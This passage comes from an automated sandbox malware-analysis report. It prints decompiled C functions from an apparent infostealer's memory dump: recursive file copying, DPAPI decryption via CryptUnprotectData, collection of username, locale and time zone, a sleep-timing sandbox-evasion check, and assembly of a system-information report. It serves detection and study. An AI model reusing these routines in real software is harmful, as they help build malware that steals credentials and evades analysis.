							goto L11;
						}
						goto L4;
						L11:
						_t46 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t46 != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x00401259
0x0040125f
0x00401270
0x00401276
0x00401283
0x0040128a
0x0040128a
0x00401295
0x0040129e
0x004012b6
0x00000000
0x004012b6
0x004012a0
0x004012ab
0x004012b4
0x004012d2
0x004012d8
0x004012db
0x004012e3
0x004012ec
0x00401323
0x00401329
0x004012ee
0x00401301
0x00401307
0x00401307
0x0040133f
0x00401351
0x00401362
0x00401372
0x00401384
0x00401398
0x0040139e
0x004013ab
0x004013bf
0x004013d7
0x004013dc
0x004013dc
0x004013f5
0x004013fa
0x00000000
0x004013fa
0x00000000
0x004013fd
0x0040140b
0x00401411
0x00000000
0x00401420
0x00000000

APIs

wsprintfA.USER32 ref: 00401259
FindFirstFileA.KERNELBASE(?,?), ref: 00401270
StrCmpCA.SHLWAPI(?,004187C4), ref: 00401296
StrCmpCA.SHLWAPI(?,004187C8), ref: 004012AC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040140B
FindClose.KERNEL32(000000FF), ref: 00401420

Strings

%s\%s, xrefs: 004012C6, 00401317
%s\*, xrefs: 0040124D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 6575d1fa2f9acd99dcb2868ca3d85d9936b276b4a9343311bd019abffccbc2b0
Instruction ID: bf2e48e51fd936849a529ec9b7d6acccd6dbe26d0e73eba0a0a48b989f4f3d6c
Opcode Fuzzy Hash: 6575d1fa2f9acd99dcb2868ca3d85d9936b276b4a9343311bd019abffccbc2b0
Instruction Fuzzy Hash: 26519671500219ABDB20DFA0DC48EEA73B8BB48700F4485DDF609A3191EB75AB95CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00401050(CHAR* _a8, intOrPtr _a12, CHAR* _a20, intOrPtr _a24) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				void* _t33;
				CHAR* _t67;
				void* _t72;
				void* _t73;

				SetCurrentDirectoryA(_a8); // executed
				wsprintfA( &_v268, "%s\\%s", _a8, _a12);
				_t73 = _t72 + 0x10;
				_t33 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t33;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &(_v596.cFileName));
						if( *0x4201dc() == 0) {
							L4:
							goto L6;
						}
						_push("..");
						_push( &(_v596.cFileName));
						if( *0x4201dc() != 0) {
							E0040B2C0( &_v1124, 0x104);
							E0040B2C0( &_v860, 0x104);
							lstrcatA( &_v1124, _a8);
							lstrcatA( &_v1124,  &(_v596.cFileName));
							_t67 =  *0x41fd50; // 0x8b2910
							lstrcatA( &_v860, _t67);
							lstrcatA( &_v860, _a20);
							lstrcatA( &_v860, "\\");
							lstrcatA( &_v860,  &(_v596.cFileName));
							E00413390(_a24,  &_v860,  &_v1124);
							_t73 = _t73 + 0xc;
							goto L6;
						}
						goto L4;
						L6:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t33;
			}

0x0040105d
0x00401077
0x0040107d
0x0040108e
0x00401094
0x004010a1
0x004010a8
0x004010a8
0x004010b3
0x004010bc
0x004010d4
0x00000000
0x004010d4
0x004010be
0x004010c9
0x004010d2
0x004010e5
0x004010f6
0x00401106
0x0040111a
0x00401120
0x0040112e
0x0040113f
0x00401151
0x00401165
0x0040117d
0x00401182
0x00000000
0x00401182
0x00000000
0x00401185
0x00401199
0x00000000
0x004011a8
0x00000000

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040105D
wsprintfA.USER32 ref: 00401077
FindFirstFileA.KERNELBASE(?,?), ref: 0040108E
StrCmpCA.SHLWAPI(?,004187C4), ref: 004010B4
StrCmpCA.SHLWAPI(?,004187C8), ref: 004010CA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401193
FindClose.KERNEL32(000000FF), ref: 004011A8

Strings

%s\%s, xrefs: 0040106B

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: 0453836d078b13b5d478bfcc7828374042fab2540529c44b8ccf38cf6f38ca5c
Instruction ID: 1de79d6bbdf199af6683bd417a49c73c3bfce01a18a7d91f3c824c75ab892d62
Opcode Fuzzy Hash: 0453836d078b13b5d478bfcc7828374042fab2540529c44b8ccf38cf6f38ca5c
Instruction Fuzzy Hash: 01318B7560021DABCB20DFA0DC48EFB73BCBB58701F44859AB619A2191DB7497C5CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004096C0(intOrPtr _a4, CHAR* _a8, intOrPtr _a12, CHAR* _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				int _t60;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &(_v596.cFileName));
						if( *0x4201dc() == 0) {
							L4:
							goto L12;
						}
						_push("..");
						_push( &(_v596.cFileName));
						if( *0x4201dc() != 0) {
							_t64 =  *0x41fb48; // 0x8b5e28
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41fe7c; // 0x8b4058
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41fd48; // 0x8b5e58
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41fe7c; // 0x8b4058
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41f988; // 0x8afb38
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41fe7c; // 0x8b4058
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040B710( &_v1652); // executed
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E004094F0( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040B710( &_v2180); // executed
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E004094F0( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040B710( &_v860); // executed
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E004094F0( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B2C0( &_v1124, 0x104);
							E0040B2C0( &_v1652, 0x104);
							E0040B2C0( &_v1388, 0x104);
							E0040B2C0( &_v2180, 0x104);
							E0040B2C0( &_v1916, 0x104);
							E0040B2C0( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
						_t60 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t60 != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x004096d9
0x004096df
0x004096f0
0x004096f6
0x00409703
0x0040970a
0x0040970a
0x00409715
0x0040971e
0x00409736
0x00000000
0x00409736
0x00409720
0x0040972b
0x00409734
0x0040974a
0x00409757
0x00409767
0x00409774
0x0040978c
0x0040979a
0x004097aa
0x004097b8
0x004097d0
0x004097de
0x004097ee
0x004097fc
0x0040980c
0x00409811
0x00409816
0x00409832
0x00409837
0x00409837
0x00409841
0x00409846
0x0040984b
0x00409867
0x0040986c
0x0040986c
0x00409876
0x0040987b
0x00409880
0x0040989c
0x004098a1
0x004098a1
0x004098b0
0x004098c1
0x004098d2
0x004098e3
0x004098f4
0x00409905
0x00000000
0x00409905
0x00000000
0x0040990a
0x00409918
0x0040991e
0x00000000
0x0040992d
0x00000000

APIs

wsprintfA.USER32 ref: 004096D9
FindFirstFileA.KERNELBASE(?,?), ref: 004096F0
StrCmpCA.SHLWAPI(?,004187C4), ref: 00409716
StrCmpCA.SHLWAPI(?,004187C8), ref: 0040972C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409918
FindClose.KERNEL32(000000FF), ref: 0040992D

Strings

%s\*.*, xrefs: 004096CD

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 9e6e67f796129d9e5c069c2b7acbaca328faee810db5feac4e9fab5b20a02fe7
Instruction ID: bd301f24947474c4e9af620e6fd05e1ee913b96a81db60ba82d61f05ab83c2d5
Opcode Fuzzy Hash: 9e6e67f796129d9e5c069c2b7acbaca328faee810db5feac4e9fab5b20a02fe7
Instruction Fuzzy Hash: 89618AB2900108ABCB24DFA4DC85EDB73BCAF48704F4085A9F61993151D775EA89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A980, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A980() {
				void* _v8;
				char _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t62;

				_v536 = HeapAlloc(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200); // executed
					if(_v528 == 0) {
						_t55 = _v536;
						wsprintfA(_v536, "%s",  &_v524);
						_t62 = _t62 + 0xc;
					} else {
						_t55 = _v536;
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t62 = _t62 + 0x10;
					}
					_v528 = _v528 + 1;
					E0040B280(_t55,  &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040a99d
0x0040a9a3
0x0040a9ad
0x0040a9be
0x0040a9d6
0x0040a9ea
0x0040a9f0
0x0040aa0b
0x0040aa39
0x0040aa46
0x0040aa79
0x0040aa80
0x0040aa86
0x0040aa48
0x0040aa4f
0x0040aa62
0x0040aa68
0x0040aa68
0x0040aa92
0x0040aaa6
0x0040aa05
0x0040aa05
0x0040aab4
0x0040aaba
0x0040aaba
0x0040aac9

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040A990
HeapAlloc.KERNEL32(00000000), ref: 0040A997
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040A9B8
LocalAlloc.KERNEL32(00000040,?), ref: 0040A9D0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040A9E4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AA39
wsprintfA.USER32 ref: 0040AA62
wsprintfA.USER32 ref: 0040AA80
LocalFree.KERNEL32(00000000), ref: 0040AABA

Strings

%s / %s, xrefs: 0040AA56

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeapKeyboardLayoutListLocalwsprintf$FreeInfoLocaleProcess
String ID: %s / %s
API String ID: 1623681038-2910687431
Opcode ID: 4ce7fbfb40e2f00fb4dc1e40e9a1284c56ad4381bd5c56e1710dd8a692079903
Instruction ID: cae9cc6ef4c78a61a83837d811c26d181b9f6d266d9c88d5478db1a8e4085a6b
Opcode Fuzzy Hash: 4ce7fbfb40e2f00fb4dc1e40e9a1284c56ad4381bd5c56e1710dd8a692079903
Instruction Fuzzy Hash: 4B316BB0A4021CDBEB60CB54CD8DBE9B7B4BB44300F5042E9E519A6291CB745E90CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 39
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040A8A0() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;
				long _t19;

				_v184 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_v180.Bias = 0;
				E00413730( &(_v180.StandardName), 0, 0xa8);
				_t19 = GetTimeZoneInformation( &_v180); // executed
				_v188 = _t19;
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040a8bd
0x0040a8c3
0x0040a8db
0x0040a8ea
0x0040a8f0
0x0040a8fd
0x0040a90f
0x0040a924
0x00000000
0x0040a92d
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040A8B0
HeapAlloc.KERNEL32(00000000), ref: 0040A8B7
_memset.LIBCMT ref: 0040A8DB
GetTimeZoneInformation.KERNEL32(00000000), ref: 0040A8EA
wsprintfA.USER32 ref: 0040A924

Strings

UTC%d, xrefs: 0040A918

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocInformationProcessTimeZone_memsetwsprintf
String ID: UTC%d
API String ID: 3962126076-2723047788
Opcode ID: 05a82e943a2d96f634e79e36d70fb4f1c72b4311fd52c768f0cb6cd0512ff3c1
Instruction ID: bff1a3dcf38877c07d2a4da9fed62d595ca4ec06f2f3f086ad552d2155e7a24c
Opcode Fuzzy Hash: 05a82e943a2d96f634e79e36d70fb4f1c72b4311fd52c768f0cb6cd0512ff3c1
Instruction Fuzzy Hash: DA018FB0A443189BDB309B60DC4ABA973B9AB04305F0001E5A60DA22D1DB745E84CF57

Uniqueness

Uniqueness Score: -1.00%

Function 004070D0, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004070D0(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t21;

				_v16 = _a4;
				_v20 = _a8;
				_t21 =  *0x4200b0( &_v20, 0, 0, 0, 0, 0,  &_v12); // executed
				_v24 = _t21;
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B260( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x004070d9
0x004070df
0x004070f4
0x004070fa
0x00407101
0x00407109
0x0040711c
0x00407124
0x00407136
0x00407136
0x00407124
0x0040713f
0x0040714b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004070F4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407113
LocalFree.KERNEL32(?), ref: 0040713F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 3a2e8d7b437ebeb0f2cbe7cdd7e28570cd72eb5c722d9d5ea040a328e1b9c86d
Instruction ID: 1c93ad5b1f40b429bc202f30088cd0e28ffa31c186ec748df0d7e47428336bd6
Opcode Fuzzy Hash: 3a2e8d7b437ebeb0f2cbe7cdd7e28570cd72eb5c722d9d5ea040a328e1b9c86d
Instruction Fuzzy Hash: 1211BAB4A00209DFCB04DF94D984AAE77B5FF48300F504569E915AB390D734AD51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A800, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A800() {
				long _v8;
				void* _v12;

				_v12 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8); // executed
				return _v12;
			}

0x0040a81a
0x0040a81d
0x0040a82c
0x0040a838

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406644,JohnDoe), ref: 0040A80D
HeapAlloc.KERNEL32(00000000), ref: 0040A814
GetUserNameA.ADVAPI32(?,00000104), ref: 0040A82C

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: a3efd3c48b4d734d5d2e58345d0abc0d1b5c9a41fd3256c7dcad502b87e49c2e
Instruction ID: 797f99a83db5d6d3a8151b2dcb637befcd0f63597c7eab7c1499cafea677de58
Opcode Fuzzy Hash: a3efd3c48b4d734d5d2e58345d0abc0d1b5c9a41fd3256c7dcad502b87e49c2e
Instruction Fuzzy Hash: A2E086B4A0030CFBD710EFE4DC49A9C7BF8EB08301F400095EA08E3240D67056448B64

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065D0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x004065dc
0x004065e4
0x004065f3
0x004065fd
0x00000000
0x00406608
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004065D6
Sleep.KERNEL32(00002710), ref: 004065E4
GetTickCount.KERNEL32 ref: 004065EA

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: dce67c6478d157f796f7fe20501028308cfb71911a6afc8ab7e4105538fd2457
Instruction ID: d9f58a2b329fcca572e4727156c375abc17b8940f7ee83c521482cb2e53b148c
Opcode Fuzzy Hash: dce67c6478d157f796f7fe20501028308cfb71911a6afc8ab7e4105538fd2457
Instruction Fuzzy Hash: FEE04F3090810CDFD710ABB4D90C55CBAB0AB41301F5008B69806A7281DA7549619A66

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x0040b250
0x0040b257

APIs

GetProcessHeap.KERNEL32(00000008,00413220,?,0040B13D,00413220,?,?,00413220,00004098), ref: 0040B249
RtlAllocateHeap.NTDLL(00000000,?,0040B13D,00413220,?,?,00413220,00004098), ref: 0040B250

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: ed54e893ee173ef7d83c3d93d853dc4cd59ffe030bd2dc7d2edbbb3858294d31
Instruction ID: 25ebe0040561b0b685979be73408b50917c0924b39b486269bea148385dd4669
Opcode Fuzzy Hash: ed54e893ee173ef7d83c3d93d853dc4cd59ffe030bd2dc7d2edbbb3858294d31
Instruction Fuzzy Hash: F6C09B7524030CEBE7105BD8EC4DD7537DCF748701F404051B70DC6151CA71A8114779

Uniqueness

Uniqueness Score: -1.00%

Function 00405320, Relevance: 96.3, APIs: 64, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405320(void* __ecx, void* __eflags, intOrPtr _a4) {
				CHAR* _v8;
				void* _t68;
				CHAR* _t69;
				CHAR* _t83;
				CHAR* _t86;
				CHAR* _t93;
				CHAR* _t102;
				CHAR* _t104;
				CHAR* _t115;
				CHAR* _t118;
				CHAR* _t120;
				CHAR* _t125;
				CHAR* _t145;
				CHAR* _t152;
				CHAR* _t158;
				CHAR* _t161;
				CHAR* _t163;
				CHAR* _t168;
				void* _t177;
				CHAR* _t188;
				CHAR* _t192;
				CHAR* _t196;
				CHAR* _t197;
				CHAR* _t198;
				CHAR* _t199;
				CHAR* _t203;
				CHAR* _t207;
				CHAR* _t212;
				CHAR* _t213;
				CHAR* _t214;
				CHAR* _t215;
				CHAR* _t219;
				CHAR* _t223;
				CHAR* _t230;
				CHAR* _t234;
				CHAR* _t238;
				intOrPtr _t240;

				_t68 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
				_v8 = _t68;
				_t69 =  *0x41fe8c; // 0x8aeae8
				lstrcatA(_v8, _t69);
				_t212 =  *0x41f9dc; // 0x8ae9e8
				lstrcatA(_v8, _t212);
				lstrcatA(_v8, "\n\n");
				_t213 =  *0x41fe6c; // 0x8ae918
				lstrcatA(_v8, _t213);
				lstrcatA(_v8, "\n");
				_t214 =  *0x41fcf0; // 0x8ac500
				lstrcatA(_v8, _t214);
				lstrcatA(_v8, "\n\n");
				_t215 =  *0x41ff44; // 0x8b2958
				lstrcatA(_v8, _t215);
				_t83 = E0040B4F0(GetCurrentProcessId()); // executed
				lstrcatA(_v8, _t83);
				lstrcatA(_v8, "\n\n");
				_t86 =  *0x41fd08; // 0x8b2970
				lstrcatA(_v8, _t86);
				lstrcatA(_v8, E0040A840());
				lstrcatA(_v8, "\n");
				_t188 =  *0x41f7f4; // 0x8b2820
				lstrcatA(_v8, _t188); // executed
				_t93 = E0040A8A0(); // executed
				lstrcatA(_v8, _t93);
				lstrcatA(_v8, "\n\n");
				_t219 =  *0x41f8ac; // 0x8ac200
				lstrcatA(_v8, _t219);
				lstrcatA(_v8, E0040A940());
				lstrcatA(_v8, "\n");
				_t102 =  *0x41f7f0; // 0x8ac2a0
				lstrcatA(_v8, _t102); // executed
				_t104 = E0040A980(); // executed
				lstrcatA(_v8, _t104);
				lstrcatA(_v8, "\n\n");
				_t192 =  *0x41fcac; // 0x8b2868
				lstrcatA(_v8, _t192);
				lstrcatA(_v8, E0040AAD0());
				lstrcatA(_v8, "\n");
				_t223 =  *0x41f914; // 0x8b2838
				lstrcatA(_v8, _t223); // executed
				_t115 = E0040AB00(); // executed
				lstrcatA(_v8, _t115);
				lstrcatA(_v8, "\n");
				_t118 =  *0x41fd2c; // 0x8b28b0
				lstrcatA(_v8, _t118); // executed
				_t120 = E0040AB80(_v8); // executed
				lstrcatA(_v8, _t120);
				lstrcatA(_v8, "\n");
				_t196 =  *0x41fa54; // 0x8b2cd8
				lstrcatA(_v8, _t196); // executed
				_t125 = E0040AC10(); // executed
				lstrcatA(_v8, _t125);
				_t197 =  *0x41f858; // 0x8b2cf8
				lstrcatA(_v8, _t197);
				lstrcatA(_v8, E0040AC90(_t197));
				_t198 =  *0x41f8bc; // 0x8b2d38
				lstrcatA(_v8, _t198);
				lstrcatA(_v8, "\n");
				_t199 =  *0x41ff40; // 0x8b2880
				lstrcatA(_v8, _t199);
				lstrcatA(_v8, E0040ACD0());
				lstrcatA(_v8, "\n");
				_t230 =  *0x41fbd0; // 0x8ac520
				lstrcatA(_v8, _t230);
				lstrcatA(_v8, E0040AD00());
				lstrcatA(_v8, "\n\n");
				_t145 =  *0x41ff04; // 0x8b2898
				lstrcatA(_v8, _t145);
				lstrcatA(_v8, E0040A7B0());
				lstrcatA(_v8, "\n");
				_t203 =  *0x41fc50; // 0x8b2988
				lstrcatA(_v8, _t203); // executed
				_t152 = E0040A800(); // executed
				lstrcatA(_v8, _t152);
				lstrcatA(_v8, "\n");
				_t234 =  *0x41fb6c; // 0x8b2850
				lstrcatA(_v8, _t234); // executed
				_t158 = E0040AD70(); // executed
				lstrcatA(_v8, _t158);
				lstrcatA(_v8, "\n");
				_t161 =  *0x41fe68; // 0x8b26e8
				lstrcatA(_v8, _t161); // executed
				_t163 = E0040ADC0(); // executed
				lstrcatA(_v8, _t163);
				lstrcatA(_v8, "\n");
				_t207 =  *0x41f824; // 0x8b2dd8
				lstrcatA(_v8, _t207); // executed
				_t168 = E0040AE40(); // executed
				lstrcatA(_v8, _t168);
				lstrcatA(_v8, "\n\n");
				_t238 =  *0x41fac8; // 0x8ac2c0
				lstrcatA(_v8, _t238);
				lstrcatA(_v8, "\n");
				E0040AEB0(_v8); // executed
				_t177 =  *0x42009c(_v8, __ecx);
				_t240 =  *0x41fe48; // 0x8b28c8
				E004133B0(_a4, _t240, _v8, _t177);
				return E0040B2C0( &_v8, 4);
			}

0x00405332
0x00405338
0x0040533b
0x00405345
0x0040534b
0x00405356
0x00405365
0x0040536b
0x00405376
0x00405385
0x0040538b
0x00405396
0x004053a5
0x004053ab
0x004053b6
0x004053c3
0x004053d0
0x004053df
0x004053e5
0x004053ef
0x004053ff
0x0040540e
0x00405414
0x0040541f
0x00405425
0x0040542f
0x0040543e
0x00405444
0x0040544f
0x0040545f
0x0040546e
0x00405474
0x0040547e
0x00405484
0x0040548e
0x0040549d
0x004054a3
0x004054ae
0x004054be
0x004054cd
0x004054d3
0x004054de
0x004054e4
0x004054ee
0x004054fd
0x00405503
0x0040550d
0x00405513
0x0040551d
0x0040552c
0x00405532
0x0040553d
0x00405543
0x0040554d
0x00405553
0x0040555e
0x0040556e
0x00405574
0x0040557f
0x0040558e
0x00405594
0x0040559f
0x004055af
0x004055be
0x004055c4
0x004055cf
0x004055df
0x004055ee
0x004055f4
0x004055fe
0x0040560e
0x0040561d
0x00405623
0x0040562e
0x00405634
0x0040563e
0x0040564d
0x00405653
0x0040565e
0x00405664
0x0040566e
0x0040567d
0x00405683
0x0040568d
0x00405693
0x0040569d
0x004056ac
0x004056b2
0x004056bd
0x004056c3
0x004056cd
0x004056dc
0x004056e2
0x004056ed
0x004056fc
0x00405706
0x00405712
0x0040571d
0x00405728
0x0040573e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 0040532B
RtlAllocateHeap.NTDLL(00000000,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405332
lstrcatA.KERNEL32(?,008AEAE8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405345
lstrcatA.KERNEL32(?,008AE9E8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405356
lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405365
lstrcatA.KERNEL32(?,008AE918,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405376
lstrcatA.KERNEL32(?,0041D304,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405385
lstrcatA.KERNEL32(?,008AC500,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405396
lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053A5
lstrcatA.KERNEL32(?,008B2958,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053B6
GetCurrentProcessId.KERNEL32(?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053BC

Part of subcall function 0040B4F0: OpenProcess.KERNEL32(00000410,00000000,00406314), ref: 0040B504
Part of subcall function 0040B4F0: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B525
Part of subcall function 0040B4F0: CloseHandle.KERNEL32(00000000), ref: 0040B52F

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,00000104,?,00001388), ref: 004053D0
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004053DF
lstrcatA.KERNEL32(008B2970,008B2970,?,?,?,?,00000104,?,00001388), ref: 004053EF

Part of subcall function 0040A840: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A84D
Part of subcall function 0040A840: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A854
Part of subcall function 0040A840: GetLocalTime.KERNEL32(?,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A861
Part of subcall function 0040A840: wsprintfA.USER32 ref: 0040A88E

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004053FF
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040540E
lstrcatA.KERNEL32(008B2820,008B2820,?,?,?,?,00000104,?,00001388), ref: 0040541F

Part of subcall function 0040A8A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040A8B0
Part of subcall function 0040A8A0: HeapAlloc.KERNEL32(00000000), ref: 0040A8B7
Part of subcall function 0040A8A0: _memset.LIBCMT ref: 0040A8DB
Part of subcall function 0040A8A0: GetTimeZoneInformation.KERNEL32(00000000), ref: 0040A8EA

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040542F
